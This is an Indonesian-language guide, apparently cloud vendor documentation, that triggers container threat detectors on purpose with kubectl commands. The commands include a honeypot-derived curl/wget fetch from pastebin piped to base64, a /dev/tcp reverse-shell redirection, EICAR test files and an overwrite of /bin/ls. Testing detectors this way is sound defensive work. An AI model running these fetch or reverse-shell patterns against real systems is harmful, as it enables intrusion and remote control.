Menguji Deteksi Ancaman Container

Halaman ini menjelaskan cara memverifikasi bahwa Container Threat Detection berfungsi dengan secara sengaja memicu detektor dan memeriksa temuan. Container Threat Detection adalah layanan bawaan untuk paket Security Command Center Premium. Untuk melihat temuan Container Threat Detection, penemuan ini harus diaktifkan di setelan Layanan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap container, Anda perlu memastikan bahwa cluster Anda berada pada versi Google Kubernetes Engine (GKE) yang didukung. Untuk mengetahui informasi selengkapnya, lihat menggunakan versi GKE yang didukung.

Menetapkan variabel lingkungan

Untuk menguji detektor, gunakan Konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell untuk mempermudah menjalankan perintah. Variabel berikut digunakan untuk menguji semua pendeteksi Ancaman Container.

  1. Buka Konsol Google Cloud.

    Buka konsol Google Cloud.

  2. Pilih project berisi penampung yang ingin Anda gunakan untuk menguji.

  3. Klik Activate Cloud Shell.

  4. Di Cloud Shell, tetapkan variabel lingkungan.

    1. Zona tempat cluster Anda berada:

      export ZONE=CLUSTER_ZONE
      
    2. Project tempat container Anda berada:

      export PROJECT=PROJECT_ID
      
    3. Nama cluster Anda:

      export CLUSTER_NAME=CLUSTER_NAME
      

Variabel telah ditetapkan. Bagian berikut mencakup petunjuk untuk menguji detektor Deteksi Ancaman Container.

Biner Dijalankan Ditambahkan

Untuk memicu temuan Eksekusi Biner yang Ditambahkan, letakkan biner di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 18.04 terbaru, menyalin /bin/ls ke lokasi lain, lalu menjalankannya. Eksekusi biner tidak dapat dilakukan karena salinan biner bukan bagian dari image container asli, bahkan ketika image tersebut ada di Ubuntu 18.04, dan container dimaksudkan agar tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Lepaskan dan jalankan biner:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Prosedur pengujian ini akan membuat temuan Eksekusi Biner yang Ditambahkan yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Kemampuan untuk menampilkan temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat container, Container Threat Detection akan memfilter untuk sementara temuan yang Dijalankan Biner. Untuk melihat semua temuan yang Dijalankan Biner yang Ditambahkan saat penampung sedang disiapkan, awali nama container atau nama pod Anda dengan ktd-test, seperti dalam contoh.

Koleksi Ditambahkan Telah Dimuat

Untuk memicu temuan Library yang Ditambahkan, letakkan library di penampung Anda, lalu muat. Contoh ini men-deploy image Ubuntu 18.04 terbaru, menyalin /lib/x86_64-linux-gnu/libc.so.6 ke lokasi lain, lalu memuatnya menggunakan ld. Library yang dimuat tidak terduga karena salinan library bukan bagian dari image container asli, meskipun image tersebut ada di Ubuntu 18.04, dan container dimaksudkan agar tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses paket kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Lepaskan library dan gunakan ld untuk memuatnya:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Prosedur pengujian ini akan membuat temuan Menambahkan Library yang Dimuat yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Kemampuan melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center di level organisasi.

Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter untuk sementara temuan Library yang Dimuat. Untuk melihat semua temuan Library yang Ditambahkan Dimuat saat penampung sedang disiapkan, awali nama penampung atau nama pod Anda dengan ktd-test, seperti dalam contoh.

Eksekusi: Menambahkan Biner Berbahaya yang Dijalankan

Untuk memicu Eksekusi: Menambahkan temuan Eksekusi Biner Berbahaya, letakkan biner berbahaya di container Anda dan jalankan. Contoh ini men-deploy image Ubuntu 18.04 terbaru, membuat simulasi file berbahaya, lalu menjalankannya. Eksekusi biner tidak terduga karena biner berbahaya yang disimulasikan bukan bagian dari image container asli, dan biner tersebut adalah file pengujian EICAR, file yang diklasifikasikan sebagai berbahaya oleh inteligensi ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Letakkan biner EICAR dan jalankan:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Prosedur pengujian ini akan membuat sebuah Eksekusi: Menambahkan Harmful Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat container, Container Threat Detection akan memfilter untuk sementara Eksekusi: Menambahkan temuan yang Dieksekusi Biner Berbahaya. Untuk melihat semua Eksekusi: Menambahkan temuan yang Dieksekusi Biner Berbahaya saat container sedang disiapkan, beri awalan pada nama container atau nama pod Anda dengan ktd-test, seperti dalam contoh.

Eksekusi: Modifikasi Biner Berbahaya Dieksekusi

Untuk memicu Execution: temuan Modified Harmful Binary Executed, ubah biner berbahaya di container Anda, lalu jalankan. Contoh ini men-deploy image Ubuntu 18.04 terbaru, mengubah /bin/ls ke file simulasi berbahaya, lalu menjalankannya. Eksekusi biner tidak terduga karena /bin/ls dimodifikasi selama runtime container sebagai simulasi biner berbahaya, dan biner merupakan file pengujian EICAR, file yang diklasifikasikan sebagai berbahaya oleh kecerdasan ancaman.

EICAR yang menguji file berbahaya, lalu menjalankannya. Eksekusi biner tidak terduga karena /bin/ls yang dibuat dimodifikasi selama runtime container sebagai biner berbahaya yang menguji EICAR, dan biner EICAR adalah file berbahaya yang diketahui menurut kecerdasan ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Letakkan biner EICAR dan jalankan:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Prosedur pengujian ini akan membuat temuan Execution: Modified Harmful Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Kemampuan untuk menampilkan temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat container, Container Threat Detection akan memfilter untuk sementara temuan Execution: Modified Harmful Binary Executed. Untuk melihat semua temuan Eksekusi: Temuan Eksekusi Biner Berbahaya yang Dimodifikasi saat container sedang disiapkan, beri awalan pada nama container atau nama pod Anda dengan ktd-test, seperti dalam contoh.

Skrip Berbahaya Dieksekusi

Untuk memicu temuan Eksekusi Skrip Berbahaya, Anda dapat menjalankan skrip dalam prosedur berikut di penampung Anda.

Prosedur ini men-deploy image Ubuntu 18.04 terbaru, menyalin skrip yang tampak berbahaya, lalu menjalankannya. Untuk memicu deteksi, skrip harus tampak berbahaya bagi detektor.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses paket kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Jalankan skrip berikut di penampung baru.

    Skrip bash shell inline ini berasal dari honeypot. Namun, skrip telah diubah agar tidak mengeksekusi biner berbahaya, sehingga menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk mungkin telah dihapus dan mencoba mengikuti URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah yang memicu deteksi.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Prosedur pengujian ini membuat temuan Executed Script Berbahaya yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Deteksi Ancaman Container. Visibilitas temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center di level organisasi.

URL Berbahaya Teramati

Untuk memicu penemuan URL Berbahaya, jalankan biner dan berikan URL berbahaya sebagai argumen.

Contoh berikut men-deploy image Ubuntu 18.04 dan mengeksekusi /bin/curl untuk mengakses contoh URL malware dari layanan Safe Browsing.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses paket kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Jalankan curl dan berikan URL berbahaya sebagai argumen:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Prosedur pengujian ini memicu temuan Pengamatan URL Berbahaya yang dapat Anda lihat di Security Command Center dan di Cloud Logging, jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Kemampuan melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center di level organisasi.

Reverse Shell

Untuk memicu penemuan Reverse Shell, mulai biner dengan pengalihan stdin ke soket yang terhubung dengan TCP. Contoh ini memulai /bin/echo dengan pengalihan ke DNS publik Google 8.8.8.8 di port DNS. Tidak ada yang dicetak saat Anda menjalankan contoh ini. Untuk mencegah injeksi kode eksternal melalui serangan man-in-the-middle (MITM), contoh ini tidak menggunakan /bin/bash binary.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses paket kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Prosedur pengujian ini akan membuat temuan Reverse Shell yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Kemampuan melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium Security Command Center di level organisasi.

Shell Turunan yang Tidak Terduga

Untuk menguji detektor Unexpected Child Shell, Anda dapat membuat hierarki proses yang menyertakan proses shell turunan.

Contoh berikut membuat hierarki proses httpd->dash, yang dapat dideteksi oleh detektor Unexpected Child Shell. Pengujian ini aman karena hanya menggunakan biner bawaan. Contoh ini melakukan hal berikut:

  1. Membuat salinan proses bash dan menamainya httpd.
  2. Menyalin proses echo dan memberinya nama dash.
  3. Memanggil proses dash yang disalin dalam proses httpd yang disalin.

Untuk memicu penemuan Unexpected Child Shell, lakukan hal berikut:

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Buat proses httpd tiruan memanggil shell tiruan:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
    /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
    

Prosedur pengujian ini akan membuat temuan Unexpected Child Shell yang dapat Anda lihat di Security Command Center. Jika Anda telah mengonfigurasi Logging untuk Container Threat Detection dan telah mengaktifkan paket Premium Security Command Center di level organisasi, Anda juga dapat melihat temuan tersebut di Cloud Logging.

CATATAN: Bagian & wait dari perintah pengujian di atas itu penting. Versi Pratinjau Publik dari detektor Shell Turunan Tak terduga hanya dapat menangkap proses induk yang fork, lalu exec shell baru. Jika bagian & waktu tunggu pada perintah dihilangkan, detektor tidak akan dapat merekam peristiwa.

Langkah selanjutnya